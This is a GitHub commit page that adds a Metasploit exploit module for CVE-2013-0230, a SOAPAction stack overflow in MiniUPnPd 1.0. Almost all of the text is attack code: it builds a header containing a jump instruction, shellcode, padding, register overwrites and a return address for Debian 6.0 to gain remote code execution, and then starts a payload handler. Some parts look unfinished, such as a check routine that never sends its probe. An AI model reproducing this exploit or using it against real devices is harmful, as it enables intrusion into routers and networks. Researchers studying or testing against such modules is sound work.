Skip to content

Commit d656360

Browse files
committed
Added CVE-2013-0230 for MiniUPnPd 1.0 stack overflow vulnerability
1 parent 39e4573 commit d656360

File tree

1 file changed

+156
-0
lines changed

1 file changed

+156
-0
lines changed
Lines changed: 156 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,156 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
9+
require 'msf/core'
10+
11+
class Metasploit3 < Msf::Exploit::Remote
12+
13+
include Msf::Exploit::Remote::HttpClient
14+
15+
def initialize(info = {})
16+
super(update_info(info,
17+
'Name' => 'MiniUPnPd 1.0 stack overflow remote code execution',
18+
'Description' =>
19+
%q{
20+
This module exploits the MiniUPnP 1.0 SOAP stack overflow vulnerability present
21+
in the SOAPAction HTTP header. This vulnerability was identified as CVE-2013-0230.
22+
},
23+
'Author' => [ 'Dejan Lukan' ],
24+
'License' => MSF_LICENSE,
25+
'Version' => '$Revision: 9999 $',
26+
'DefaultOptions' => { 'EXITFUNC' => 'process', },
27+
# the byte '\x22' is the '"' character and the miniupnpd scans for that character in the
28+
# input, which is why it can't be part of the shellcode (otherwise the vulnerable part
29+
# of the program is never reached)
30+
'Payload' => { 'Space' => 2060, 'BadChars' => "\x00\x22", 'DisableNops' => true },
31+
'Platform' => 'linux',
32+
'References' => [
33+
[ 'CVE', '2013-0230' ],
34+
[ 'OSVDB', '89624' ],
35+
],
36+
'Targets' =>
37+
[
38+
#['Debian GNU/Linux 4.0', { 'Ret' => 0x0804c334, 'Offset' => 2123 }],
39+
['Debian GNU/Linux 6.0', { 'Ret' => 0x0804ee43, 'Offset' => 2123 }],
40+
],
41+
'DefaultTarget' => 0,
42+
'Privileged' => false,
43+
'DisclosureData' => 'Mar 27 2013',
44+
))
45+
46+
register_options(
47+
[
48+
Opt::RPORT(5555),
49+
], self.class)
50+
end
51+
52+
53+
def check
54+
packet = "M-SEARCH * HTTP/1.1\r\n \
55+
HOST: 239.255.255.250:1900\r\n \
56+
ST: ssdp:all\r\n \
57+
MX:2\r\n \
58+
MAN:\"ssdp:discover\"\r\n"
59+
end
60+
61+
62+
def exploit
63+
#
64+
# Build the SOAP Exploit
65+
#
66+
# jmp 0x2d ; jump forward 0x2d bytes (jump right after the '#' char)
67+
sploit = "\xeb\x2d"
68+
69+
# a valid action
70+
sploit += "n:schemas-upnp-org:service:WANIPConnection:1#"
71+
72+
# payload
73+
sploit += payload.encoded
74+
75+
# nops
76+
#sploit += "\x90"*(target['Offset'] - sploit.length - 16)
77+
sploit += rand_text(target['Offset'] - sploit.length - 16)
78+
79+
# overwrite registers on stack
80+
sploit += "\x41\x41\x41\x41" # overwrite EBX
81+
sploit += "\x42\x42\x42\x42" # overwrite ESI
82+
sploit += "\x43\x43\x43\x43" # overwrite EDI
83+
sploit += "\x44\x44\x44\x44" # overwrite EBP
84+
85+
# Overwrite EIP with addresss of "pop ebp, ret", because the second value on the
86+
# stack points directly to the string after 'Soapaction: ', which is why we must
87+
# throw the first value on the stack away, which we're doing with the pop ebp
88+
# instruction. Then we're returning to the next value on the stack, which is
89+
# exactly the address that we want.
90+
sploit += [target.ret].pack('V')
91+
92+
# the ending " character is necessary for the vulnerability to be reached
93+
sploit += "\""
94+
95+
# data sent in the POST body
96+
data =
97+
"<?xml version='1.0' encoding=\"UTF-8\"?>\r\n" +
98+
"<SOAP-ENV:Envelope\r\n" +
99+
" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"\r\n" +
100+
" xmlns:SOAP-ENC=\"http://schemas.xmlsoap.org/soap/encoding/\"\r\n" +
101+
" xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\"\r\n" +
102+
">\r\n" +
103+
"<SOAP-ENV:Body>\r\n" +
104+
"<ns1:action xmlns:ns1=\"urn:schemas-upnp-org:service:WANIPConnection:1\" SOAP-ENC:root=\"1\">\r\n" +
105+
"</ns1:action>\r\n" +
106+
"</SOAP-ENV:Body>\r\n" +
107+
"</SOAP-ENV:Envelope>\r\n"
108+
109+
110+
#
111+
# Build and send the HTTP request
112+
#
113+
print_status("Sending exploit to victim #{target.name} at ...")
114+
send_request_raw({
115+
'uri' => target_uri.path,
116+
'method' => 'POST',
117+
'headers' => {
118+
'SOAPAction' => sploit,
119+
#'User-Agent' => 'Python-urllib/2.7',
120+
#'Connection' => 'close',
121+
#'Content-Type' => 'application/x-www-form-urlencoded',
122+
},
123+
'data' => data,
124+
}, 25)
125+
126+
127+
# handle the exploit
128+
handler
129+
130+
# disconnect from the server
131+
disconnect
132+
end
133+
end
134+
135+
136+
137+
138+
139+
140+
141+
142+
143+
144+
145+
146+
147+
148+
149+
150+
151+
152+
153+
154+
155+
156+

0 commit comments

Comments
 (0)